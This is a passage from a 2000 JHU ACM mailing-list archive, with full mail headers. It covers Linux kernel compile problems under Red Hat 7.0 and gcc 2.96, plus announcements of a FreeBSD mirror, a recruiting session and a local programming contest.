http://contest.acm.jhu.edu/ for more information. _______________________________________________ Members maillist - Members@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/members >From linux-admin@acm.jhu.edu Sat Sep 30 22:17 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id WAA05810 for ; Sat, 30 Sep 2000 22:17:34 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id WAA03578; Sat, 30 Sep 2000 22:17:32 -0400 Received: from jhuml3.jhu.edu (jhuml3.jhu.edu [128.220.2.66]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id WAA03567 for ; Sat, 30 Sep 2000 22:17:30 -0400 Received: from CONVERSION-DAEMON.jhuml3.jhu.edu by jhuml3.jhu.edu (PMDF V6.0-24 #47345) id <0G1Q00C01BOW1T@jhuml3.jhu.edu> for linux@acm.jhu.edu; Sat, 30 Sep 2000 22:17:20 -0400 (EDT) Received: from jhunix.hcf.jhu.edu (jhunix.hcf.jhu.edu [128.220.2.5]) by jhuml3.jhu.edu (PMDF V6.0-24 #47345) with ESMTP id <0G1Q00B1YBOWYN@jhuml3.jhu.edu> for linux@acm.jhu.edu; Sat, 30 Sep 2000 22:17:20 -0400 (EDT) Received: from jhunix.hcf.jhu.edu (JHU0056.RES.JHU.EDU [128.220.37.85]) by jhunix.hcf.jhu.edu (SGI-8.9.3/8.9.3) with ESMTP id WAA01896 for ; Sat, 30 Sep 2000 22:17:19 -0400 (EDT) Date: Sat, 30 Sep 2000 22:17:14 -0400 From: Michael Hilsdale To: Linux Users Group Message-id: <39D69EA9.40B3DD63@jhunix.hcf.jhu.edu> MIME-version: 1.0 X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U) Content-transfer-encoding: 7bit X-Accept-Language: en Subject: [Linux] [Fwd: RH 7.0 bug] Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: text/plain; charset=us-ascii Content-Length: 582 Lines: 19 Oops, I should have posted that here instead of the main ACM list.... Michael Hilsdale wrote: > Raphael and I have both tried to recompile a new kernel under RH 7.0, > and we come up with the same error message. We have entirely different > system profiles, so I am at least satisfied that my computer does not > hate me personally. :-) > > Has anyone else been able to compile a 2.2.16 or a 2.2.17 kernel under > RH 7.0? > > Thanks, > > - Mike _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Sun Oct 1 00:44 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id AAA09027 for ; Sun, 1 Oct 2000 00:44:21 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id AAA05972; Sun, 1 Oct 2000 00:44:18 -0400 Received: from mercea.net (postfix@cd-145-142.ra30.dc.capu.net [64.50.145.142]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id AAA05965 for ; Sun, 1 Oct 2000 00:44:16 -0400 Received: from mercea.net (localhost.mercea.net [127.0.0.1]) by mercea.net (Postfix) with ESMTP id C017D2626D for ; Sun, 1 Oct 2000 00:44:10 -0400 (EDT) X-Mailer: exmh version 2.2_20000906 06/23/2000 with nmh-1.0.3 X-url: http://www.acm.jhu.edu/~slipcon/ X-image-url: http://www.acm.jhu.edu/~slipcon/images/scott.jpg From: Scott Lipcon To: linux@acm.jhu.edu In-Reply-To: Your message of "Sat, 30 Sep 2000 23:33:02 EDT." <39D6B06E.BA65F2C9@jhunix.hcf.jhu.edu> Mime-Version: 1.0 Date: Sun, 01 Oct 2000 00:44:10 -0400 Message-Id: <20001001044410.C017D2626D@mercea.net> Subject: [Linux] Re: RH 7.0 bug Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: text/plain; charset=us-ascii Content-Length: 1993 Lines: 56 everything I've read points to compiling with gcc instead of kgcc. I dont have a spare box to install 7.0 on - Mike, can you email me your Makefile (/usr/src/linux/Makefile), probably too big to send to the list. It looks like you need to change both the line that says HOSTCC = gcc and the line that says CC=$(CROSS_COMPILE)cc ... BTW - apparently, RedHat 7 also shipped with a beta glibc... Scott > Actually, I had accidentally posted this e-mail to the main ACM list. I > forwarded it to the Linux mailing list. You can join it by going to > http://www.acm.jhu.edu/mailman/listinfo/linux and registering. > > I had already mentioned my initial problem with kernel compiling on the list; > here's a copy of the error that I already posted on that list: > > checksum.S:231: badly punctuated parameter list in #define > checksum.S:237: badly punctuated parameter list in #define > make[2]: *** [checksum.o] Error 1 > make[2]: Leaving directory '/usr/src/linux-2.2.17/arch/i386/lib' > make[1]: *** [first_rule] Error 2 > make[1]: Leaving directory '/usr/src/linux-2.2.17/arch/i386/lib' > make: *** [_dir_arch/i386/lib] Error 2 > > I'll see you soon on the Linux list.... > > - Mike > > "raj chopra, jr." wrote: > > > yeah, i also encountered problems while compiling. for the 2.2.16 kernel, > > are you using the sources provided by redhat? what error messages did you > > receive? thanks. > > -raj jr > > > > At 10:16 PM 9/30/2000, you wrote: > > >Raphael and I have both tried to recompile a new kernel under RH 7.0, > > >and we come up with the same error message. We have entirely different > > >system profiles, so I am at least satisfied that my computer does not > > >hate me personally. :-) > > > > > >Has anyone else been able to compile a 2.2.16 or a 2.2.17 kernel under > > >RH 7.0? > > > > > >Thanks, > > > > > > - Mike > > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Sun Oct 1 12:25 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id MAA20320 for ; Sun, 1 Oct 2000 12:25:12 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id MAA18175; Sun, 1 Oct 2000 12:25:09 -0400 Received: from localhost (jgrady@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id MAA18168 for ; Sun, 1 Oct 2000 12:25:06 -0400 Date: Sun, 1 Oct 2000 12:25:05 -0400 (EDT) From: Jeff Grady To: linux@acm.jhu.edu Message-ID: MIME-Version: 1.0 Subject: [Linux] possible fix for kernel compile problems? Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 460 Lines: 14 Not sure if this will help, but... http://freshmeat.net/news/2000/10/01/970408182.html Alan Cox mentions, "This should really fix the which compiler bugs. It should also be close to having everything in the kernel build correctly on x86 again." Also, the Makefile fix had some of the env vars Scott was talking about. -Jeff _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Sun Oct 1 12:54 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id MAA21070 for ; Sun, 1 Oct 2000 12:53:59 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id MAA18596; Sun, 1 Oct 2000 12:53:56 -0400 Received: from mercea.net (postfix@cd-145-142.ra30.dc.capu.net [64.50.145.142]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id MAA18589 for ; Sun, 1 Oct 2000 12:53:52 -0400 Received: from mercea.net (localhost.mercea.net [127.0.0.1]) by mercea.net (Postfix) with ESMTP id 07BF42626D for ; Sun, 1 Oct 2000 12:53:43 -0400 (EDT) X-Mailer: exmh version 2.2_20000906 06/23/2000 with nmh-1.0.3 X-url: http://www.acm.jhu.edu/~slipcon/ X-image-url: http://www.acm.jhu.edu/~slipcon/images/scott.jpg From: Scott Lipcon To: linux@acm.jhu.edu Subject: Re: [Linux] possible fix for kernel compile problems? In-Reply-To: Your message of "Sun, 01 Oct 2000 12:25:05 EDT." Mime-Version: 1.0 Date: Sun, 01 Oct 2000 12:53:42 -0400 Message-Id: <20001001165343.07BF42626D@mercea.net> Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: text/plain; charset=us-ascii Content-Length: 1020 Lines: 31 They've modified the makefile in 2.2.18pre13 to run a script to determine which compiler to use, it'll use kgcc if it finds it. Seems like an ugly workaround for the fact that redhat is shipping broken compilers to me. (btw, i think debian has the same problem - they ship gcc272 for use with the kernel, and gcc for other things. The new makefile will use gcc272 if its found) Scott > Not sure if this will help, but... > > http://freshmeat.net/news/2000/10/01/970408182.html > > Alan Cox mentions, "This should really fix the which compiler bugs. It should > also be close to having everything in the kernel build correctly on x86 again." > Also, the Makefile fix had some of the env vars Scott was talking about. > > -Jeff > > > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Sun Oct 1 13:30 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA22111 for ; Sun, 1 Oct 2000 13:30:50 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA19115; Sun, 1 Oct 2000 13:30:48 -0400 Received: from localhost (jgrady@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA19108 for ; Sun, 1 Oct 2000 13:30:46 -0400 Date: Sun, 1 Oct 2000 13:30:46 -0400 (EDT) From: Jeff Grady To: linux@acm.jhu.edu Subject: Re: [Linux] possible fix for kernel compile problems? In-Reply-To: <20001001165343.07BF42626D@mercea.net> Message-ID: MIME-Version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 1375 Lines: 43 That's pretty lame, but I wonder why they're doing that? There must be some reason they ship 2 compilers... -Jeff On Sun, 1 Oct 2000, Scott Lipcon wrote: > They've modified the makefile in 2.2.18pre13 to run a script to determine > which compiler to use, it'll use kgcc if it finds it. Seems like an ugly > workaround for the fact that redhat is shipping broken compilers to me. > > (btw, i think debian has the same problem - they ship gcc272 for use with the > kernel, and gcc for other things. The new makefile will use gcc272 if its > found) > > Scott > > > Not sure if this will help, but... > > > > http://freshmeat.net/news/2000/10/01/970408182.html > > > > Alan Cox mentions, "This should really fix the which compiler bugs. It should > > also be close to having everything in the kernel build correctly on x86 again." > > Also, the Makefile fix had some of the env vars Scott was talking about. > > > > -Jeff > > > > > > _______________________________________________ > > Linux maillist - Linux@acm.jhu.edu > > http://www.acm.jhu.edu/mailman/listinfo/linux > > > > > > > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Sun Oct 1 14:04 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id OAA23210 for ; Sun, 1 Oct 2000 14:04:57 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id OAA19663; Sun, 1 Oct 2000 14:04:53 -0400 Received: from localhost (dylan@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id OAA19653 for ; Sun, 1 Oct 2000 14:04:51 -0400 Date: Sun, 1 Oct 2000 14:04:51 -0400 (EDT) From: Dylan Adams To: linux@acm.jhu.edu Subject: Re: [Linux] possible fix for kernel compile problems? In-Reply-To: Message-ID: MIME-Version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 1231 Lines: 30 On Sun, 1 Oct 2000, Jeff Grady wrote: > That's pretty lame, but I wonder why they're doing that? There must be some > reason they ship 2 compilers... Because Linus et all fixed the version of gcc which kernels compile at 2.7.2 (released in _1995_). Other people have patched it enough to get it to compile with other versions, but the only version they sanction is 2.7.2. Apparently, redhat couldn't manage to get the kernel to build under whatever version of gcc they wanted to ship with 7.0 (2.95.3?), so they just shipped an older compiler too, one that does work. So, you get the best of both worlds: you can compile the kernel and take advantage of the latest and greatest features of gcc for other stuff. Except that, in typical RedHat fashion, they mucked it up. Or they weren't explicit enough about their treachery. There's no reason why they couldn't fix the kernel - it is the kernel that's broken, not gcc. I compile my OpenBSD kernel with 2.95.3, a prerelease version of gcc. They just don't want to. They'd rather be adding more features then cleaning up their old code. dylan _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Sun Oct 1 17:08 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id RAA26687 for ; Sun, 1 Oct 2000 17:08:16 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id RAA21997; Sun, 1 Oct 2000 17:08:13 -0400 Received: from mercea.net (postfix@cd-145-142.ra30.dc.capu.net [64.50.145.142]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id RAA21990 for ; Sun, 1 Oct 2000 17:08:11 -0400 Received: from mercea.net (localhost.mercea.net [127.0.0.1]) by mercea.net (Postfix) with ESMTP id 611652626D for ; Sun, 1 Oct 2000 17:08:10 -0400 (EDT) X-Mailer: exmh version 2.2_20000906 06/23/2000 with nmh-1.0.3 X-url: http://www.acm.jhu.edu/~slipcon/ X-image-url: http://www.acm.jhu.edu/~slipcon/images/scott.jpg From: Scott Lipcon To: linux@acm.jhu.edu Subject: Re: [Linux] possible fix for kernel compile problems? In-Reply-To: Your message of "Sun, 01 Oct 2000 14:04:51 EDT." Mime-Version: 1.0 Date: Sun, 01 Oct 2000 17:08:10 -0400 Message-Id: <20001001210810.611652626D@mercea.net> Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: text/plain; charset=us-ascii Content-Length: 2860 Lines: 55 > Because Linus et all fixed the version of gcc which kernels compile at > 2.7.2 (released in _1995_). Other people have patched it enough to get it > to compile with other versions, but the only version they sanction is > 2.7.2. not true. The changes file is out of date, but the 2.2 series kernels compile fine with 2.8.1, or egcs 1.1.2. > Apparently, redhat couldn't manage to get the kernel to build under > whatever version of gcc they wanted to ship with 7.0 (2.95.3?), so they Redhat's gcc is called 2.96. Which doesn't exist. Never has, never will. Apparently the gcc people were forced to bump their internal version to 2.97 so people wouldn't keep sending them bug reports. "2.96" is a snapshot from the gcc cvs tree. Unfortunately, what they are calling 2.96 isn't binary compatible with older compilers (such as 2.8.1, or egcs) and isn't guaranteed to be compatible with newer (2.97, 3.0, etc) because it is from a development tree. Plus, redhat only breaks binary compatibility on major revisions, so everyone is stuck with 2.96 (plus redhat patches) for 18 months, until RH8. Thats poor. On the other hand, what should they have done? If they stuck with egcs, or 2.95, or 2.8.1, they'd be stuck with it until RH8 as well, because there is no more active development on those lines. So, I guess they decided the benefits of having better C++ code (which I think is the main difference) is greater than that of having a released and tested compiler. > There's no reason why they couldn't fix the kernel - it is the kernel > that's broken, not gcc. I compile my OpenBSD kernel with 2.95.3, a > prerelease version of gcc. They just don't want to. They'd rather be > adding more features then cleaning up their old code. thats true, that it is a kernel problem - but there is a reason they can't fix the kernel. Because, patching it to compile with 2.96 would break it for 2.7.2, 2.8.1, and egcs. The 2.2 kernels have to support 2.7.2, so thats not going to happen. 2.4 will work with newer compilers. BTW, comparing to openbsd (or any bsd) is a little unfair, because the kernel is tightly coupled with the rest of the operating system. I'd be willing to bet that you couldn't get a FreeBSD 4.1 kernel to compile and run on a FreeBSD 3.3 system. But, thats pretty much what the linux people have to deal with - because you know there are plenty of people out there running RedHat 5.2, downloading 2.2.17 and getting it to work. So I spent half this email bashing redhat, and half defending it. strange how that works. In any case, I wont be installing 7.0 on my systems, probably wont install 7.1 either. Any suggestions on a clean way to upgrade to FreeBSD? Scott _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Mon Oct 2 11:25 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id LAA17608 for ; Mon, 2 Oct 2000 11:25:44 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id LAA16783; Mon, 2 Oct 2000 11:25:30 -0400 Received: from localhost (lloyd@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id LAA16710 for ; Mon, 2 Oct 2000 11:25:27 -0400 Date: Mon, 2 Oct 2000 11:25:27 -0400 (EDT) From: Jack Lloyd To: linux@acm.jhu.edu Subject: Re: [Linux] possible fix for kernel compile problems? In-Reply-To: <20001001210810.611652626D@mercea.net> Message-ID: MIME-Version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 972 Lines: 27 On Sun, 1 Oct 2000, Scott Lipcon wrote: > not true. The changes file is out of date, but the 2.2 series kernels > compile fine with 2.8.1, or egcs 1.1.2. Or 2.95.2, which I what I build my kernels with. > guess they decided the benefits of having better C++ code (which I > think is the main difference) is greater than that of having a > released and tested compiler. I'm a bit skeptical that 2.96 aka 'some gcc snapshot' is really so much better at C++ than 2.95.2 that this crap is necessary. The main thing that is going to make gcc good at C++ is the completion of libstdc++-3, and it's subsequent inclusion in gcc3. In any case, I'll be joining Scott in staying way the hell away from RH7. :) J -- Jack Lloyd * JHU CS/ACM * finger for PGP IDs/fingerprints Hi, the voices in my head told me to come over here and talk to you! _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From members-admin@acm.jhu.edu Mon Oct 2 18:36 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id SAA00139; Mon, 2 Oct 2000 18:31:41 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id SAA30741; Mon, 2 Oct 2000 18:31:37 -0400 Received: from localhost (jmuhlich@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id SAA30735 for ; Mon, 2 Oct 2000 18:31:34 -0400 Date: Mon, 2 Oct 2000 18:31:34 -0400 (EDT) From: Jeremy Muhlich To: members@acm.jhu.edu Message-ID: MIME-Version: 1.0 Subject: [Members] Local programming contest signups Sender: members-admin@acm.jhu.edu Errors-To: members-admin@acm.jhu.edu X-BeenThere: members@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk List-Id: The JHU Members list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 453 Lines: 14 Hi everyone, Just a little reminder that the local programming contest is THIS SATURDAY, October 7, at 11am in the CS lab. So far we have precisely zero teams signed up. Come on, you know you want to compete! Remember, Trilogy will be there to give away prizes and you can only win if you compete! -- Jeremy _______________________________________________ Members maillist - Members@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/members >From members-admin@acm.jhu.edu Mon Oct 2 20:09 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA03014; Mon, 2 Oct 2000 20:04:57 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:nobody@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA32641; Mon, 2 Oct 2000 20:04:53 -0400 Received: from localhost (dylan@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id TAA31527 for ; Mon, 2 Oct 2000 19:04:47 -0400 Date: Mon, 2 Oct 2000 19:04:46 -0400 (EDT) From: Dylan Adams To: members@acm.jhu.edu Message-ID: MIME-Version: 1.0 Subject: [Members] X, O and Star Sender: members-admin@acm.jhu.edu Errors-To: members-admin@acm.jhu.edu X-BeenThere: members@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk List-Id: The JHU Members list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 1242 Lines: 27 Trilogy Software, Inc, is holding an information session on Wednesday October 4 at 7pm at the Xando Coffee Shop and Bar at 3003 North Charles St. Food and prizes, and fun for all! About Trilogy Founded in 1989 by five Stanford students, Trilogy has become an industry leader in e-business solutions. Our strategy: maintaining the high energy of a start-up with the stability of an established company. We continually recruit "Only the Best"-- upholding our standards for the brightest, most dynamic employees. "Only the Best" reflects a deeply held cultural value within our company. We strive to attract, mentor, and retain outstanding individuals from leading universities, business schools, and companies, and we provide them with the opportunities and rewards they need to shape their long term business goals. By hiring great people and giving them mission-critical responsibilities from the first day on the job, Trilogy ensures our ability to respond to competitive challenges, to keep the entrepreneurial spirit alive, and to achieve our goal of building a high-energy, high-impact company. _______________________________________________ Members maillist - Members@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/members >From linux-admin@acm.jhu.edu Tue Oct 3 00:19 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id AAA06734 for ; Tue, 3 Oct 2000 00:19:47 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id AAA04175; Tue, 3 Oct 2000 00:19:44 -0400 Received: from localhost (jgrady@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id AAA04168 for ; Tue, 3 Oct 2000 00:19:42 -0400 Date: Tue, 3 Oct 2000 00:19:42 -0400 (EDT) From: Jeff Grady To: linux@acm.jhu.edu Message-ID: MIME-Version: 1.0 Subject: [Linux] rh 7/gcc comment Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 686 Lines: 19 I found this while browsing redhat 7 bugs in bugzilla as a reason for going with gcc 2.96 and glibc 2.1.92: "The new gcc and glibc are stricter and more standards compliant." --alan@redhat.com (Bugzilla Bug #17953) Most of the gripes about gcc in bugzilla seem to also be about compiling kernels and mirror the linux@acm discussion pretty closely (with the redhat folks saying basically what Scott mentioned already). But hey, if everyone still used RedHat 6.2, not as many bugs would be found or fixed in 7.0, right? No guts, no glory. :) -Jeff _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Tue Oct 3 19:00 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id TAA18189 for ; Tue, 3 Oct 2000 19:00:02 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id SAA21247; Tue, 3 Oct 2000 18:59:59 -0400 Received: from localhost (jflemer@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id SAA21240 for ; Tue, 3 Oct 2000 18:59:57 -0400 Date: Tue, 3 Oct 2000 18:59:57 -0400 (EDT) From: "James E. Flemer" To: linux@acm.jhu.edu Message-ID: MIME-Version: 1.0 Subject: [Linux] FreeBSD 4.1.1 mirrored Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 607 Lines: 19 Thanks to Jack and myself, FreeBSD 4.1.1 is now available on Chimera. You can get the ISO and burn your own cd, or do a net install off Chimera. ISO: ( MD5 sum = 4f6ac83e5cbd5ad0cf4146d55efc6a10 ) ftp://chimera.acm.jhu.edu/pub/mirrors/FreeBSD/FreeBSD-4.1.1.iso FTP INSTALL PATH: ftp://chimera.acm.jhu.edu/pub/mirrors/FreeBSD/4.1.1/ -James (I love announcing FreeBSD releases on the Linux mailing list.) PS. If anyone wants/needs help install or using FreeBSD, email me. _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From members-admin@acm.jhu.edu Tue Oct 3 22:45 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id WAA21019; Tue, 3 Oct 2000 22:41:32 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id WAA24589; Tue, 3 Oct 2000 22:41:26 -0400 Received: from smtp-a.capu.net (IDENT:0@smtp-a.capu.net [205.177.76.122]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id WAA24582 for ; Tue, 3 Oct 2000 22:41:24 -0400 Received: from acm.jhu.edu (cd-176-101.ra30.dc.capu.net [64.50.176.101]) by smtp-a.capu.net (8.9.3/8.9.3) with ESMTP id WAA25576 for ; Tue, 3 Oct 2000 22:41:24 -0400 Message-ID: <39DA9AD6.D751D795@acm.jhu.edu> Date: Tue, 03 Oct 2000 22:49:58 -0400 From: Jeremy Muhlich X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.16 i686) X-Accept-Language: en MIME-Version: 1.0 To: members@acm.jhu.edu Content-Transfer-Encoding: 7bit Subject: [Members] Programming Contest - IMPORTANT INFO - individual competition Sender: members-admin@acm.jhu.edu Errors-To: members-admin@acm.jhu.edu X-BeenThere: members@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk List-Id: The JHU Members list Content-Type: text/plain; charset=us-ascii Content-Length: 1190 Lines: 26 Hi everyone, Due to the fact that no teams have signed up for the local programming contest so far, we have decided to change the format to individual competition. That is, everyone does the problems on their own, and the top 6 finishers will be formed into 2 teams to compete at the regional competition. (That competition is here at JHU on November 11) If you wish to compete at the local competition this Saturday, mail contest@acm.jhu.edu with "I want to compete" in the subject. If you just have a question, you should also mail contest@acm, but make the subject something else. :) The webpage (http://contest.acm.jhu.edu) should be updated by tomorrow to reflect these changes. Remember, the local contest will be held in the CS lab, starting at 12am. You can only win cool prizes from Trilogy if you compete! And you get lunch for free! I apologize if anyone was really set on doing this in teams, but there is apparently just not enough interest. I also apologize for making such a drastic change so close to the event. -- Jeremy _______________________________________________ Members maillist - Members@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/members >From members-admin@acm.jhu.edu Tue Oct 3 22:55 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id 